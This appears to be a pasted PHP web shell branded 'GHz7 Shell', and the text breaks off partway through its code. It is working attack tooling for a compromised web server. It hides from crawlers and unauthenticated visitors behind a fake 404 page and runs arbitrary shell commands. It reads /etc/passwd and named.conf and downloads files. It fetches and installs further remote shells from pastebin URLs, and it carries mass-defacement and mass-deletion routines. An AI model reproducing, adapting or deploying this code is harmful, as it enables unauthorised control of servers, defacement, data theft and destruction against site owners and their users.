· 7 years ago · Sep 29, 2018, 10:40 PM
1<?php
2session_start();
3@error_reporting(0);
4@set_time_limit(0);
5
6if(version_compare(PHP_VERSION, '5.3.0', '<')) {
7 @set_magic_quotes_runtime(0);
8}
9
10@clearstatcache();
11@ini_set('error_log',NULL);
12@ini_set('log_errors',0);
13@ini_set('max_execution_time',0);
14@ini_set('output_buffering',0);
15@ini_set('display_errors', 0);
16
17$auth_pass = "40d37a994b70c698d30a15d920c09815";
18$password = "ea416ed0759d46a8de58f63a59077499";
19
20$SERVERIP = (!$_SERVER['SERVER_ADDR']) ? gethostbyname($_SERVER['HTTP_HOST']) : $_SERVER['SERVER_ADDR'];
21$FILEPATH = str_replace($_SERVER['DOCUMENT_ROOT'], "", path());
22
23if(!empty($_SERVER['HTTP_USER_AGENT'])) {
24 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot", "curl");
25 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
26 header('HTTP/1.0 404 Not Found');
27 exit;
28 }
29}
30
31function login_shell() {
32$random_url = mt_rand(1000000, 247345736453);
33$curl = curl_init();
34$protocol = 'http://';
35if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off') { $protocol = 'https://'; }
36curl_setopt($curl, CURLOPT_URL, $protocol . $_SERVER['HTTP_HOST'] . '/' . $random_url);
37curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
38$server_404 = curl_exec($curl);
39$server_404 = str_replace("/{$random_url}", $_SERVER['SCRIPT_NAME'], $server_404);
40$server_404 = str_replace("{$random_url}", $_SERVER['SCRIPT_NAME'], $server_404);
41echo $server_404;
42exit;
43}
44if(@$_GET['this'] == "phpinfo") {
45 echo phpinfo();
46 exit();
47}
48if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])])) {
49 if(empty($password) || (isset($_GET['lamer']) && (md5($_GET['lamer']) == $password))) {
50 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
51 echo "<script>document.location.href = '?'</script>";
52 } else {
53 login_shell();
54 }
55}
56if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
57 @ob_clean();
58 $file = $_GET['file'];
59 header('Content-Description: File Transfer');
60 header('Content-Type: application/octet-stream');
61 header('Content-Disposition: attachment; filename="'.basename($file).'"');
62 header('Expires: 0');
63 header('Cache-Control: must-revalidate');
64 header('Pragma: public');
65 header('Content-Length: ' . filesize($file));
66 readfile($file);
67 exit;
68}
69
70if(get_magic_quotes_gpc()) {
71 function idx_ss($array) {
72 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
73 }
74 $_POST = idx_ss($_POST);
75}
76?>
77<!DOCTYPE HTML>
78<html>
79<head>
80<title>PINTU BELAKANGNYA GHz7</title>
81<meta name='theme-color' content='#000000'>
82<meta name='author' content='GHz7'>
83<link ref="http://maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font- awesome.min.css" rel="stylesheet">
84<style type='text/css'>
85@import url(https://fonts.googleapis.com/css?family=Ubuntu|Righteous);
86@import url('https://fonts.googleapis.com/css?family=Russo+One&subset=cyrillic,latin-ext');
87html {
88 background: #000000;
89 background-repeat:no-repeat;
90 background-size:cover;
91 color: #00ff00;
92 font-size: 14px;
93 width:100%;
94}
95li {
96 display: inline;
97 margin: 5px;
98 padding: 5px;
99}
100a {
101 color: #ffffff;
102 text-decoration: none;
103}
104
105a:hover {
106 color: gold;
107 text-decoration: underline;
108}
109hi b {
110 color: gold;
111}
112
113pre {
114 font-size: 13px;
115 margin:5px auto;
116}
117table, th, td {
118 border-collapse: initial;
119 background: transparent;
120 font-family: 'Ubuntu';
121 font-size: 13px;
122}
123.table_home, .th_home, .td_home {
124 border: 3px #4d4d4d solid;
125}
126th {
127 background-color: #4d4d4d;
128 color: white;
129 border:3px solid #ffffff;
130}
131.nocopy{
132border:3px #4d4d4d solid;
133border-right:hidden;
134border-left:hidden;
135margin:10px auto;
136}
137.th_home {
138 color: #ffffff;
139}
140
141.td_home, .td_home > a {
142 color: #ffffff;
143}
144
145.td_home > a:hover {
146 color: gold;
147}
148
149#main th{text-align:left;background-color:#5e5e5e;}
150#main tr:hover{background-color:#5e5e5e}
151table{
152width:100%;
153height:100%;
154margin:0px;
155color:gold;
156}
157input[type=text], input[type=password], input[type=submit]{
158 background: transparent;
159 color: #ffffff;
160 border: 1px solid #ff0000;
161 padding: 3px;
162 font-family: 'Ubuntu';
163 font-size: 13px;
164 font-weight:bold;
165}
166
167input[type=submit] {
168 padding: 2px;
169 border:2px solid #4d4d4d;
170 margin:0px;
171}
172input[type=submit]:hover {
173 cursor: pointer;
174}
175textarea, .abc {
176 border: 2px solid #4d4d4d;
177 width: 98%;
178 height: 400px;
179 padding-left: 5px;
180 margin: auto;
181 resize: none;
182 background: transparent;
183 color: #ffffff;
184 font-family: 'Ubuntu';
185 font-size: 7px;
186}
187iframe {
188 width: 100%;
189 min-height: 500px;
190}
191::-webkit-input-placeholder {
192 color: #ffffff;
193}
194:-ms-input-placeholder {
195 color: #ffffff;
196}
197::-moz-placeholder {
198 color: #ffffff;
199 opacity: 1;
200}
201:-moz-placeholder {
202 color: #ffffff;
203 opacity: 1;
204}
205input[type=text]{
206border:2px solid #4d4d4d;
207}
208.lamer{
209animation:karatan 0.1s infinite;
210font-family: 'Ubuntu', sans-serif;
211}
212@keyframes karatan{
2130%{
214color:lime;
215}
21610%{
217color:white;
218}
21920%{
220color:red;
221}
22230%{
223color:lime;
224}
22540%{
226color:white;
227}
22850%{
229color:red;
230}
231}
232.banyumas{
233font-family: 'Righteous', cursive;
234animation:karatan 0.5s infinite;
235margin:2px auto;
236}
237.bct{
238background-image:url("https://safebytes.com/wp-content/uploads/2017/01/hack-code-hacker-computer-background-166263.jpg");
239background-repeat:no-repeat;
240border:3px #4d4d4d solid;
241background-size:cover;
242margin:10px auto;
243border-radius: 20px;
244}
245.lamerkaratan{
246border:4px #4d4d4d solid;
247border-right:hidden;
248border-left:hidden;
249margin:10px auto;
250border-radius:31px;
251}
252#menu{
253 margin:8px 2px 4px 2px;
254}
255#menu a{
256 padding:2px 20px;
257 margin:0;
258 background:transparent;
259 border:1px solid #ffffff;
260 border-bottom:hidden;
261 border-top:hidden;
262 text-decoration:none;
263 letter-spacing:0px;
264 -moz-border-radius: 5px;
265 -webkit-border-radius: 5px;
266 -khtml-border-radius: 5px;
267 border-radius: 5px;
268
269}
270#menu a:hover{
271 background:#4d4d4d;
272}
273*:after,
274*:before {
275-webkit-box-sizing: border-box;
276-moz-box-sizing: border-box;
277-ms-box-sizing: border-box;
278-o-box-sizing: border-box;
279box-sizing: border-box;
280padding: 0;
281margin: 0;
282}
283.container > header h1,
284.container > header h2 {
285 color: #3DA3E8;
286 text-shadow: 0 1px 1px rgba(0,0,0,0.7);
287}
288.form-3 {
289font-family: 'Ubuntu', 'Lato', sans-serif;
290font-weight: 400;
291/* Size and position */
292width: 300px;
293position: relative;
294margin: 60px auto 30px;
295padding: 10px;
296overflow: hidden;
297
298/* Styles */
299background: #111;
300border-radius: 0.4em;
301border: 1px solid #191919;
302box-shadow:
303inset 0 0 2px 1px rgba(255,255,255,0.08),
3040 16px 10px -8px rgba(0, 0, 0, 0.6);
305}
306
307.form-3 label {
308/* Size and position */
309width: 50%;
310float: left;
311padding-top: 9px;
312
313/* Styles */
314color: #ddd;
315font-size: 12px;
316text-transform: uppercase;
317letter-spacing: 1px;
318text-shadow: 0 1px 0 #000;
319text-indent: 10px;
320font-weight: 700;
321cursor: pointer;
322}
323
324.form-3 input[type=text],
325.form-3 textarea,
326.form-3 select,
327.form-3 input[type=password] {
328/* Size and position */
329width: 50%;
330float: left;
331padding: 8px 5px;
332margin-bottom: 10px;
333font-size: 12px;
334
335/* Styles */
336background: #1f2124; /* Fallback */
337background: -moz-linear-gradient(#1f2124, #27292c);
338background: -ms-linear-gradient(#1f2124, #27292c);
339background: -o-linear-gradient(#1f2124, #27292c);
340background: -webkit-gradient(linear, 0 0, 0 100%, from(#1f2124), to(#27292c));
341background: -webkit-linear-gradient(#1f2124, #27292c);
342background: linear-gradient(#1f2124, #27292c);
343border: 1px solid #000;
344box-shadow:
3450 1px 0 rgba(255,255,255,0.1);
346border-radius: 3px;
347
348/* Font styles */
349font-family: 'Ubuntu', 'Lato', sans-serif;
350color: #fff;
351
352}
353
354.form-3 textarea:hover,
355.form-3 select:hover,
356.form-3 input[type=text]:hover,
357.form-3 input[type=password]:hover {
358background: #27292c;
359}
360
361.form-3 input[type=text]:focus,
362.form-3 textarea:focus,
363.form-3 textarea:select,
364.form-3 input[type=password]:focus {
365box-shadow: inset 0 0 2px #000;
366background: #494d54;
367border-color: #51cbee;
368outline: none; /* Remove Chrome outline */
369}
370
371.form-3 p:nth-child(3),
372.form-3 p:nth-child(4) {
373float: left;
374width: 50%;
375}
376
377.form-3 input[type=submit] {
378/* Width and position */
379width: 100%;
380padding: 8px 5px;
381
382/* Styles */
383border: 1px solid #0273dd; /* Fallback */
384border: 1px solid rgba(0,0,0,0.4);
385box-shadow:
386inset 0 1px 0 rgba(255,255,255,0.3),
387inset 0 10px 10px rgba(255,255,255,0.1);
388border-radius: 3px;
389background: #38a6f0;
390cursor:pointer;
391
392/* Font styles */
393font-family: 'Ubuntu', 'Lato', sans-serif;
394color: white;
395font-weight: 700;
396font-size: 15px;
397text-shadow: 0 -1px 0 rgba(0,0,0,0.8);
398}
399
400.form-3 input[type=submit]:hover {
401box-shadow: inset 0 1px 0 rgba(255,255,255,0.6);
402}
403
404.form-3 input[type=submit]:active {
405background: #287db5;
406box-shadow: inset 0 0 3px rgba(0,0,0,0.6);
407border-color: #000; /* Fallback */
408border-color: rgba(0,0,0,0.9);
409}
410
411.no-boxshadow .form-3 input[type=submit]:hover {
412background: #2a92d8;
413}
414
415.form-3:after {
416/* Size and position */
417content: "";
418height: 1px;
419width: 33%;
420position: absolute;
421left: 20%;
422top: 0;
423
424/* Styles */
425background: -moz-linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);
426background: -ms-linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);
427background: -o-linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);
428background: -webkit-gradient(linear, 0 0, 100% 0, from(transparent), color-stop(0.25, #444), color-stop(0.5, #b6b6b8), color-stop(0.75, #444), to(transparent));
429background: -webkit-linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);
430background: linear-gradient(left, transparent, #444, #b6b6b8, #444, transparent);
431}
432#toolsTbl{ text-align:center; }
433.toolsInp{ width: 300px }
434.main th{text-align:left;background-color:#5e5e5e;}
435.main tr:hover{background-color:#5e5e5e}
436.l1{background-color:#444}
437.l2{background-color:#333}
438pre{font-family:Courier,Monospace;}
439.form-3:before {
440/* Size and position */
441content: "";
442width: 8px;
443height: 5px;
444position: absolute;
445left: 34%;
446top: -7px;
447
448/* Styles */
449border-radius: 50%;
450box-shadow: 0 0 6px 4px #fff;
451}
452
453.form-3 p:nth-child(1):before{
454/* Size and position */
455content:"";
456width:250px;
457height:100px;
458position:absolute;
459top:0;
460left:45px;
461
462/* Styles */
463-webkit-transform: rotate(75deg);
464-moz-transform: rotate(75deg);
465-ms-transform: rotate(75deg);
466-o-transform: rotate(75deg);
467transform: rotate(75deg);
468background: -moz-linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
469background: -ms-linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
470background: -o-linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
471background: -webkit-linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
472background: linear-gradient(50deg, rgba(255,255,255,0.15), rgba(0,0,0,0));
473pointer-events:none;
474}
475
476.no-pointerevents .form-3 p:nth-child(1):before {
477display: none;
478}
479.clearfix:after {
480content: "";
481display: table;
482clear: both;
483}
484.phtml{
485font-family: 'Russo One', sans-serif;
486font-size:100px;
487color:#ffffff;
488margin:0px;
489border-bottom:2px #00ff00 dotted;
490border-radius:100px;
491}
492</style>
493<body>
494<script language='javascript'>
495if (document.all||document.getElementById){
496var thetitle=document.title
497document.title=''
498}
499var data="LAMERKARATAN!!!";
500var done=1;
501function statusIn(text){
502decrypt(text,22,22);
503}
504function statusOut(){
505self.status='';
506done=1;
507}
508function decrypt(text, max, delay){
509if (done){
510done = 0;
511rantit(text, max, delay, 0, max);
512}
513}
514function rantit(text, runs_left, delay, charvar, max){
515if (!done){
516runs_left = runs_left - 1;
517var status = text.substring(0,charvar);
518for(var current_char = charvar; current_char < text.length; current_char++){
519status += data.charAt(Math.round(Math.random()*data.length));
520}
521document.title = status;
522var rerun = "rantit('" + text + "'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
523var new_char = charvar + 1;
524var next_char = "rantit('" + text + "'," + max + "," + delay + "," + new_char + "," + max + ");"
525if(runs_left > 0){
526setTimeout(rerun, delay);
527}
528else{
529if (charvar < text.length){
530setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
531}
532else
533{
534done = 1;
535}
536}
537}
538}
539if (document.all||document.getElementById)
540statusIn(thetitle)
541</script>
542<audio autoplay> <source src="http://www.soundjay.com/button/beep-24.wav" type="audio/mpeg"></audio>
543<center><img src="https://preview.ibb.co/kDhw0U/20180908_185526.png" style="float:left;width:120px;height:120px;"><img src="http://www.birlasteel.in/WPS.png" style="float:right;width:120px;height:120px;">
544<h1 class="phtml">GHz7 Shell</h1>
545</center><div class="lamerkaratan">
546 <?php
547function path() {
548 if(isset($_GET['dir'])) {
549 $dir = str_replace("\\", "/", $_GET['dir']);
550 @chdir($dir);
551 } else {
552 $dir = str_replace("\\", "/", getcwd());
553 }
554 return $dir;
555}
556
557function color($bold = 1, $colorid = null, $string = null) {
558 $color = array(
559 "</font></b>", # 0 off
560 "<font color='red'><b>", # 1 red
561 "<font color='lime'><b>", # 2 lime
562 "<font color='white'><b>", # 3 white
563 "<font color='gold'><b>", # 4 gold
564 );
565
566 return ($string !== null) ? $color[$colorid].$string.$color[0]: $color[$colorid];
567}
568
569function OS() {
570 return (substr(strtoupper(PHP_OS), 0, 3) === "WIN") ? "Windows" : "Linux";
571}
572
573function exe($cmd) {
574 if(function_exists('system')) {
575 @ob_start();
576 @system($cmd);
577 $buff = @ob_get_contents();
578 @ob_end_clean();
579 return $buff;
580 } elseif(function_exists('exec')) {
581 @exec($cmd,$results);
582 $buff = "";
583 foreach($results as $result) {
584 $buff .= $result;
585 } return $buff;
586 } elseif(function_exists('passthru')) {
587 @ob_start();
588 @passthru($cmd);
589 $buff = @ob_get_contents();
590 @ob_end_clean();
591 return $buff;
592 } elseif(function_exists('shell_exec')) {
593 $buff = @shell_exec($cmd);
594 return $buff;
595 }
596}
597
598function save($filename, $mode, $file) {
599 $handle = fopen($filename, $mode);
600 fwrite($handle, $file);
601 fclose($handle);
602 return;
603}
604
605function getfile($name) {
606 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't spawn $name."));
607 if($name === "adminer") $get = array("https://www.adminer.org/static/download/4.3.1/adminer-4.3.1.php", "adminer.php");
608 elseif($name === "webconsole") $get = array("https://pastebin.com/raw/2i96fDCN", "webconsole.php");
609 elseif($name === "cgitelnet1") $get = array("https://pastebin.com/raw/duxB6R5u", "wps-cgi/cgitelnet1.wps");
610 elseif($name === "cgitelnet2") $get = array("https://pastebin.com/raw/6GLfa9jP", "wps-cgi/cgitelnet2.wps");
611 elseif($name === "LRE") $get = array("https://pastebin.com/raw/PVPfA21i", "makman.php");
612
613 $fp = fopen($get[1], "w");
614 $ch = curl_init();
615 curl_setopt($ch, CURLOPT_URL, $get[0]);
616 curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
617 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
618 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
619 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
620 curl_setopt($ch, CURLOPT_FILE, $fp);
621 return curl_exec($ch);
622 curl_close($ch);
623 fclose($fp);
624 ob_flush();
625 flush();
626}
627
628function usergroup() {
629 if(!function_exists('posix_getegid')) {
630 $user['name'] = @get_current_user();
631 $user['uid'] = @getmyuid();
632 $user['gid'] = @getmygid();
633 $user['group'] = "?";
634 } else {
635 $user['uid'] = @posix_getpwuid(posix_geteuid());
636 $user['gid'] = @posix_getgrgid(posix_getegid());
637 $user['name'] = $user['uid']['name'];
638 $user['uid'] = $user['uid']['uid'];
639 $user['group'] = $user['gid']['name'];
640 $user['gid'] = $user['gid']['gid'];
641 }
642 return (object) $user;
643}
644
645function getuser() {
646 $fopen = fopen("/etc/passwd", "r") or die(color(1, 1, "Can't read /etc/passwd"));
647 while($read = fgets($fopen)) {
648 preg_match_all('/(.*?):x:/', $read, $getuser);
649 $user[] = $getuser[1][0];
650 }
651 return $user;
652}
653
654function getdomainname() {
655 $fopen = fopen("/etc/named.conf", "r");
656 while($read = fgets($fopen)) {
657 preg_match_all("#/var/named/(.*?).db#", $read, $getdomain);
658 $domain[] = $getdomain[1][0];
659 }
660 return $domain;
661}
662
663function hddsize($size) {
664 if($size >= 1073741824)
665 return sprintf('%1.2f',$size / 1073741824 ).' GB';
666 elseif($size >= 1048576)
667 return sprintf('%1.2f',$size / 1048576 ) .' MB';
668 elseif($size >= 1024)
669 return sprintf('%1.2f',$size / 1024 ) .' KB';
670 else
671 return $size .' B';
672}
673
674function hdd() {
675 $hdd['size'] = hddsize(disk_total_space("/"));
676 $hdd['free'] = hddsize(disk_free_space("/"));
677 $hdd['used'] = $hdd['size'] - $hdd['free'];
678 return (object) $hdd;
679}
680
681function writeable($path, $perms) {
682 return (!is_writable($path)) ? color(1, 1, $perms) : color(1, 2, $perms);
683}
684
685function perms($path) {
686 $perms = fileperms($path);
687 if (($perms & 0xC000) == 0xC000) {
688 // Socket
689 $info = 's';
690 }
691 elseif (($perms & 0xA000) == 0xA000) {
692 // Symbolic Link
693 $info = 'l';
694 }
695 elseif (($perms & 0x8000) == 0x8000) {
696 // Regular
697 $info = '-';
698 }
699 elseif (($perms & 0x6000) == 0x6000) {
700 // Block special
701 $info = 'b';
702 }
703 elseif (($perms & 0x4000) == 0x4000) {
704 // Directory
705 $info = 'd';
706 }
707 elseif (($perms & 0x2000) == 0x2000) {
708 // Character special
709 $info = 'c';
710 }
711 elseif (($perms & 0x1000) == 0x1000) {
712 // FIFO pipe
713 $info = 'p';
714 }
715 else {
716 // Unknown
717 $info = 'u';
718 }
719 // Owner
720 $info .= (($perms & 0x0100) ? 'r' : '-');
721 $info .= (($perms & 0x0080) ? 'w' : '-');
722 $info .= (($perms & 0x0040) ?
723 (($perms & 0x0800) ? 's' : 'x' ) :
724 (($perms & 0x0800) ? 'S' : '-'));
725 // Group
726 $info .= (($perms & 0x0020) ? 'r' : '-');
727 $info .= (($perms & 0x0010) ? 'w' : '-');
728 $info .= (($perms & 0x0008) ?
729 (($perms & 0x0400) ? 's' : 'x' ) :
730 (($perms & 0x0400) ? 'S' : '-'));
731 // World
732 $info .= (($perms & 0x0004) ? 'r' : '-');
733 $info .= (($perms & 0x0002) ? 'w' : '-');
734 $info .= (($perms & 0x0001) ?
735 (($perms & 0x0200) ? 't' : 'x' ) :
736 (($perms & 0x0200) ? 'T' : '-'));
737
738 return $info;
739}
740function bancol() {
741$cot[] = "<font color='white'>USER/GROUP:</font>".color(1, 2, usergroup()->name)."(".color(1, 2 , usergroup()->uid).") / ".color(1, 2 , usergroup()->group)."(".color(1, 2 , usergroup()->gid).")";
742$cot[] = "<font color='white'>PHP VERSION:</font>".color(1, 2, @phpversion());
743$cot[] = "<font color='white'>SERVER IP:</font>".color(1, 2, $GLOBALS['SERVERIP']);
744$cot[] = "<font color='white'>YOUR IP:</font>".color(1, 2, $_SERVER['REMOTE_ADDR']);
745return implode("<b/> ", $cot);
746}
747function lib_installed() {
748 $lib[] = "<font color='white'>MySQL:</font>".(function_exists('mysql_connect') ? color(1, 2, "ON") : color(1, 1, "OFF"));
749 $lib[] = "<font color='white'>cURL:</font>".(function_exists('curl_version') ? color(1, 2, "ON") : color(1, 1, "OFF"));
750 $lib[] = "<font color='white'>WGET:</font>".(exe('wget --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
751 $lib[] = "<font color='white'>Perl:</font>".(exe('perl --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
752 $lib[] = "<font color='white'>Python:</font>".(exe('python --help') ? color(1, 2, "ON") : color(1, 1, "OFF"));
753 $lib[] = "<font color='white'>SAFE MODE:</font>".(@ini_get(strtoupper("safe_mode")) === "ON" ? color(1, 2, "ON") : color(1, 1, "OFF"));
754
755 return implode("<b/> ", $lib);
756}
757
758function pwd() {
759 $dir = explode("/", path());
760 foreach($dir as $key => $index) {
761 print "<a href='?dir=";
762 for($i = 0; $i <= $key; $i++) {
763 print $dir[$i];
764 if($i != $key) {
765 print "/";
766 }
767 }
768 print "'>$index</a>/";
769 }
770 print "<br>";
771 print (OS() === "Windows") ? windisk() : "";
772}
773
774
775function windisk() {
776 $letters = "";
777 $v = explode("\\", path());
778 $v = $v[0];
779 foreach(range("A", "Z") as $letter) {
780 $bool = $isdiskette = in_array($letter, array("A"));
781 if(!$bool) $bool = is_dir("$letter:\\");
782 if($bool) {
783 $letters .= "[ <a href='?dir=$letter:\\'".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">";
784 if($letter.":" != $v) {
785 $letters .= $letter;
786 }
787 else {
788 $letters .= color(1, 2, $letter);
789 }
790 $letters .= "</a> ]";
791 }
792 }
793 if(!empty($letters)) {
794 print "Detected Drives $letters<br>";
795 }
796 if(count($quicklaunch) > 0) {
797 foreach($quicklaunch as $item) {
798 $v = realpath(path(). "..");
799 if(empty($v)) {
800 $a = explode(DIRECTORY_SEPARATOR,path());
801 unset($a[count($a)-2]);
802 $v = join(DIRECTORY_SEPARATOR, $a);
803 }
804 print "<a href='".$item[1]."'>".$item[0]."</a>";
805 }
806 }
807}
808
809function serverinfo() {
810 print "<div class='bct'>";
811 $disable_functions = @ini_get('disable_functions');
812 $disable_functions = (!empty($disable_functions)) ? color(1, 1, $disable_functions) : color(1, 2, "HAVE FUN!");
813 $output[] = "<font color='white'>SYSTEM:</font>".color(1, 2, php_uname());
814 $output[] = bancol();
815 $output[] = "<font color='white'>SERVER:</font>".color(1, 2, $_SERVER['SERVER_SOFTWARE']);
816 $output[] = lib_installed();
817 $output[] = "<font color='white'>DISABLE FUNCTION:</font>$disable_functions";
818 $output[] = "<font color='white'>Permission:</font> (".writeable(path(),perms(path())).")<br><font color='white'>Path:</font>";
819 print "<center><pre>";
820 print implode("<b><br><center>", $output);
821 pwd();
822 print "</pre></div></center></center>";
823
824}
825
826function curl($url, $post = false, $data = null) {
827 $ch = curl_init($url);
828 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
829 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
830 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
831 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
832 curl_setopt($ch, CURLOPT_TIMEOUT, 10);
833 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
834 if($post) {
835 curl_setopt($ch, CURLOPT_POST, true);
836 curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
837 }
838 return curl_exec($ch);
839 curl_close($ch);
840}
841
842function reverse() {
843 $response = curl("http://domains.yougetsignal.com/domains.php", TRUE, "remoteAddress=".$GLOBALS['SERVERIP']."&ket=");
844 $response = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $response)))))))))))));
845 $explode = explode(",,", $response);
846 unset($explode[0]);
847
848 foreach($explode as $domain) {
849 $domain = "http://$domain";
850 $domain = str_replace(",", "", $domain);
851 $url[] = $domain;
852 ob_flush();
853 flush();
854 }
855
856 return $url;
857}
858
859function getValue($param, $kata1, $kata2){
860 if(strpos($param, $kata1) === FALSE) return FALSE;
861 if(strpos($param, $kata2) === FALSE) return FALSE;
862 $start = strpos($param, $kata1) + strlen($kata1);
863 $end = strpos($param, $kata2, $start);
864 $return = substr($param, $start, $end - $start);
865 return $return;
866}
867
868function massdeface($dir, $file, $filename, $type = null) {
869 $scandir = scandir($dir);
870 foreach($scandir as $dir_) {
871 $path = "$dir/$dir_";
872 $location = "$path/$filename";
873 if($dir_ === "." || $dir_ === "..") {
874 file_put_contents($location, $file);
875 }
876 else {
877 if(is_dir($path) AND is_writable($path)) {
878 print "[".color(1, 2, "DONE")."] ".color(1, 4, $location)."<br>";
879 file_put_contents($location, $file);
880 if($type === "-alldir") {
881 massdeface($path, $file, $filename, "-alldir");
882 }
883 }
884 }
885 }
886}
887
888function massdelete($dir, $filename) {
889 $scandir = scandir($dir);
890 foreach($scandir as $dir_) {
891 $path = "$dir/$dir_";
892 $location = "$path/$filename";
893 if($dir_ === '.') {
894 if(file_exists("$dir/$filename")) {
895 unlink("$dir/$filename");
896 }
897 }
898 elseif($dir_ === '..') {
899 if(file_exists(dirname($dir)."/$filename")) {
900 unlink(dirname($dir)."/$filename");
901 }
902 }
903 else {
904 if(is_dir($path) AND is_writable($path)) {
905 if(file_exists($location)) {
906 print "[".color(1, 2, "DELETED")."] ".color(1, 4, $location)."<br>";
907 unlink($location);
908 massdelete($path, $filename);
909 }
910 }
911 }
912 }
913}
914function tools($toolsname, $args = null) {
915 if($toolsname === "readfile") {
916 if(empty($args)) die(color(1, 1, $msg));
917 if(!is_file($args)) die(color(1, 1, "File '$args' is not exists."));
918
919 print "<pre>";
920 print htmlspecialchars(file_get_contents($args));
921 print "</pre>";
922 }
923 elseif($toolsname === "spawn") {
924 if($args === "adminer") {
925 if(file_exists("adminer.php")) {
926 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
927 }
928 else {
929 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'Adminer'."));
930 if(getfile("adminer")) {
931 print "Login Adminer: <a href='".$GLOBALS['FILEPATH']."/adminer.php' target='_blank'>http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/adminer.php</a>";
932 }
933 else {
934 print color(1, 1, "Error while downloading file Adminer.");
935 @unlink("adminer.php");
936 }
937 }
938 }
939 elseif($args === "webconsole") {
940 if(file_exists("webconsole.php")) {
941 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
942 }
943 else {
944 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create file 'WebConsole'."));
945 if(getfile("webconsole")) {
946 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/webconsole.php' frameborder='0' scrolling='yes'></iframe>";
947 }
948 else {
949 print color(1, 1, "Error while downloading file WebConsole.");
950 @unlink("webconsole.php");
951 }
952 }
953 }
954 elseif($args === "cgitelnet1") {
955 if(file_exists("wps-cgi/cgitelnet1.wps")) {
956 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/wps-cgi/cgitelnet1.wps' frameborder='0' scrolling='yes'></iframe>";
957 }
958 elseif(file_exists('cgitelnet1.wps')) {
959 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet1.wps' frameborder='0' scrolling='yes'></iframe>";
960 }
961 else {
962 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'wps-cgi'."));
963 if(!is_dir(path()."/wps-cgi/")) {
964 @mkdir('wps-cgi', 0755);
965 save("wps-cgi/.htaccess", "w", "AddHandler cgi-script .wps");
966 }
967 if(getfile("cgitelnet1")) {
968 chmod('wps-cgi/cgitelnet1.wps', 0755);
969 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/wps-cgi/cgitelnet1.wps' frameborder='0' scrolling='yes'></iframe>";
970 }
971 else {
972 print color(1, 1, "Error while downloading file CGI Telnet.");
973 @rmdir(path()."/wps-cgi/");
974 if(!@rmdir(path()."/wps-cgi/") AND OS() === "Linux") @exe("rm -rf ".path()."/wps-cgi/");
975 if(!@rmdir(path()."/wps-cgi/") AND OS() === "Windows") @exe("rmdir /s /q ".path()."/wps-cgi/");
976 }
977 }
978
979 }
980 elseif($args === "cgitelnet2") {
981 if(file_exists("wps-cgi/cgitelnet2.wps")) {
982 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/wps-cgi/cgitelnet2.wps' frameborder='0' scrolling='yes'></iframe>";
983 }
984 elseif(file_exists('cgitelnet2.wps')) {
985 print "<iframe src='http://".$_SERVER['HTTP_HOST']."/".$GLOBALS['FILEPATH']."/cgitelnet2.idx' frameborder='0' scrolling='no'></iframe>";
986 }
987 else {
988 if(!is_writable(path())) die(color(1, 1, "Directory '".path()."' is not writeable. Can't create directory 'wps-cgi'."));
989 if(!is_dir(path()."/wps-cgi/")) {
990 @mkdir('wps-cgi', 0755);
991 save("wps-cgi/.htaccess", "w", "AddHandler cgi-script .wps");
992 }
993 if(getfile("cgitelnet2")) {
